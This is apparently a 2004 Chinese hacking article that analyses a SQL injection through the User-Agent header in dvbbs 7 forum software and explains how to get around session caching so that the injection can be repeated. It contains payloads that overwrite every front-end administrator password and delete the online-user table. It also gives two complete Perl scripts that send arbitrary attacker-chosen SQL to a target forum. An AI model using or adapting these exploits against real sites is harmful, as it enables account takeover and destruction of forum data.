深入分析dvbbs7 User_agent注入firstsee在<将dvbbs 送入地狱>一文中 第3点 防刷新问题的解决 中提到:“由于我们的访问程序会在Dv_online表中记录相应的访问数据,而只要这条数据存在的话就不会执行我们要跳转到可以注入的语句。因此只好等20分钟之后由于其他的用户访问而调用MyBoardOnline.OnlineQuery过程将超时用户访问记录(包括我们刚才的访问记录)删除之后才可以再次进行欺骗注入。否则的话只会让我们的访问最后时间更新为当前值,而对其它数据没有任何影响。每两次欺骗注入之间的时间间隔要20分钟!那么如果要向数据库写入木马的话还不要等到头发也白了。您也许会说,我是拨号上网的,只要重新拨号不就行了吗?当然可以了,不过即使这样对于我们来说是一件很痛苦的事。为了解决这个棘手的问题我们可以在修改数据库的同时将Dv_online表中的所有记录全部删除,这样不就可以进行连续注入了吗。调整以后的User-Agent的值为:Mozilla/4.0 (compatible;M;M;M;','hacker',7,'',2) update Dv_User set UserPassword='123' where UserGroupID=1 delete from Dv_online—Netscape不信你测试一下,不管你在注入前数据库内有多少的用户访问记录,只要能够成功的欺骗成功不仅会将所有的前台管理员密码进行修改,而且还会将所有的用户访问记录删除得干干净净。哈哈,现在我们不就可以随心所欲了吗。”我觉得这里在理解上firstsee出了错误,文中提到的20分钟其实根本不是删除online表的时间,而且删除了online表,一样不能立即再注入(我已经测试过了),经过分析代码我发现,这个20分钟是session失效的时间,我们来看Dv_ClsMain.asp中的这段:
Class Cls_Browser
Public Browser,version ,platform,IsSearch
Private Sub Class_Initialize()
Dim Agent,Tmpstr
IsSearch = False
If Not IsEmpty(Session("Cls_Browser")) Then
Tmpstr = Split(Session("Cls_Browser"),"|||")
Browser = Tmpstr(0)
version = Tmpstr(1)
platform = Tmpstr(2)
If Tmpstr(3)="1" Then
IsSearch = True
End If
Exit Sub
End If
正因为Session("Cls_Browser")中保存了第一次注入的Browser数据,导致了我们执行到Insert Into [Dv_Online]这里的时候,执行的还是第一次注入的语句,只有等Session("Cls_Browser")失效,我们的第二个注入语句才能生效,有人会说了,我们直接用程序发包,不理会cokkie,不就新建立了一个session了么,不就可以直接执行Insert Into [Dv_Oline]这一句注入了么,但是请看Sub ActiveOnline()里边的代码:
SP2:
If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID And Not InStr(ScriptName,"showerr")>0 Then Exit Sub
7.0 and SP1:
If DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID Then Exit Sub
经过我测试,第一次请求一个页面的时候,比如说请求list.asp?boardid=1吧,得到的LastVisiBoardID=1,BoardID=1,DateDiff("s",ReflashPageLastTime,Now())=0,对于sp2要想执行下去,我们只有请求showerr.asp,去看看showerr.asp代码,发现在:
Select Case action
Case "OtherErr"
Dvbbs.Stats=action&"-"&Template.Strings(0)
Dvbbs.head()
Dvbbs.showtoptable()
Dvbbs.Head_var 0,"",Template.Strings(0),""
template.html(0)=Replace(template.html(0),"{$color}",Dvbbs.mainsetting(1))
template.html(0)=Replace(template.html(0),"{$errtitle}",Dvbbs.Forum_Info(0)&"-"&Dvbbs.Stats)
template.html(0)=Replace(template.html(0),"{$action}","访问论坛")
template.html(0)=Replace(template.html(0),"{$ErrCount}",1)
template.html(0)=Replace(template.html(0),"{$ErrString}",Request("ErrCodes"))
If Request("autoreload")=1 Then
Response.Write "<meta http-equiv=refresh content=""2;URL="&Request.ServerVariables("HTTP_REFERER")&""">"
End If
Response.Write Template.html(0)
If dvbbs.userid=0 Then
Response.Write Template.html(1)
End If
Dvbbs.ActiveOnline()
Dvbbs.footer()
Action=OtherErr的时候他调用了ActiveOnline()子程序,嘿嘿,来吧,我们用程序发包请求showerr.asp?BoardID=0&action=OtherErr页面,cookie设置为空,让他每次请求都建立新session,不过你可别忘了在user_agent里面加注入语句哦,:)
好了就到这里了,这下注入简单了吧,我写了个小程序来提交。原代码如下:
------------------------------------------------------------------
#!/usr/bin/perl
#use IO::Socket;
$| = 1;
use Socket;
$ARGC = @ARGV;
print "\t* The script for dvbbs7 sp2 sql版 user_agent 注入 *\n";
print "\t* Code by xiaolu QQ:50446*\n";
if ($ARGC < 4)
{
print "\n用法:\ndv.exe 域名 bbs路径 sql语句 端口 \ndv.exe 666w.com /bbs/ \"update [dv_user] set username='feng'\" 80\n";
exit;
}
$host = @ARGV[0];
$way = @ARGV[1];
$way1 = @ARGV[2];
$port = @ARGV[3];
#$way1=~s/ / /g;
print "\n\n开始在 $host 上进行测试,请等待......\n";
$req = "GET $way".
"showerr.asp?BoardID=0&action=OtherErr HTTP/1.0\n".
"Accept: */*\n".
"Referer: $host\n".
"Accept-Language: zh-cn\n".
"User-Agent: Opera/100.0','主论坛',1,'1',0);$way1 delete from [Dv_online];-- (compatible; MSIE 4.0; Windows NT 5.0; Hotbar 4.4.6.0)\n".
"Host: $host:$port\n".
"Cookie: \n\n";
print $req;
@res = sendraw($req);
print "\n\ @res \n";
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}
----------------------------------------------------------------
对于sp1和7.0就没那么简单了,但是我们还是有办法,还是一样用程序请求页面不能使用浏览器(用浏览器Session("Cls_Browser")就保存了浏览器信息了),记着,第一次一定要把user_agent的注入写好,让他第一次就存在Session("Cls_Browser"),以便于我们第二次来执行他,cookie乱写或者为空算了,请求list.asp?boardid=1(这个页面要存在)提交抓包,或者把结果记录到文件,便于我们察看cookie,好了我们看到包里截取到两行set-cookie(或者更多),比如:
Set-Cookie: 10%2E0%2E0%2E8%2Fdv%2F=StatUserID=2321989; expires=Sat, 12-Jun-2004 23:25:18 GMT; path=/dv/
Set-Cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
为了让StatUserID不在online数据库中存在(存在的话就会执行更新,而不执行注入语句),并且我们还要继承session,在第二次提交的时候,可以使DateDiff("s",ReflashPageLastTime,Now()) < 120 And LastVisiBoardID = BoardID
不成立,执行我们的注入语句,那就只使用这个cookie:
cookie: ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/
用程序来第二次请求页面,这样就继承session,user_agent现在其实已经不起作用(储存在了session中),请求什么页面呢?只要请求boardid不是1的版面比如list.asp?boardid=2(这个版面要存在)或者index.asp等等,OK, UserActiveOnline过程被执行了,由于StatUserID为空,他就会乖乖的执行我们存在session中的注入语句了,如果想执行下一条,就从头建立新session,然后抓包,和上边一样了,呵呵。
写了个小程序,把提交结果写在文件abc.txt里,察看cookie就方便多了。
---------------------------------------------------------------------------
#!/usr/bin/perl
#use IO::Socket;
$| = 1;
use Socket;
$ARGC = @ARGV;
print "\t* The script for dvbbs7 sql版 user_agent 注入 *\n";
print "\t* Code by xiaolu QQ:50446*\n";
if ($ARGC < 5)
{
print "\n用法:\ndv.exe 域名 路径 sql语句 端口 Cookie\ndv.exe 666w.com /bbs/index.asp \"update [dv_user] set username='feng'\" 80 \"ASPSESSIONIDSQTSDABR=DKNDJAIBBLGCONMFJMFHGGOF; path=/\"\n";
exit;
}
$host = @ARGV[0];
$way = @ARGV[1];
$way1 = @ARGV[2];
$port = @ARGV[3];
$cookie = @ARGV[4];
print "\n\n开始在 $host 上进行测试,请等待......\n";
$req = "GET $way HTTP/1.0\n".
"Accept: */*\n".
"Referer: $host\n".
"Accept-Language: zh-cn\n".
"User-Agent:Mozilla/4.0 (compatible;M;M;M;','论坛首页',7,'',2) $way1--Netscape\n".
"Host: $host:$port\n".
"Cookie: $cookie\n\n";
print $req;
@res = sendraw($req);
print "\n\ @res \n";
$filename="abc.txt";
open(file,">$filename")||die("不能打开文件$filename\n");
print file @res;
close(file);
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}
--------------------------------------------------------------------------
by xiaolu
2004.6.12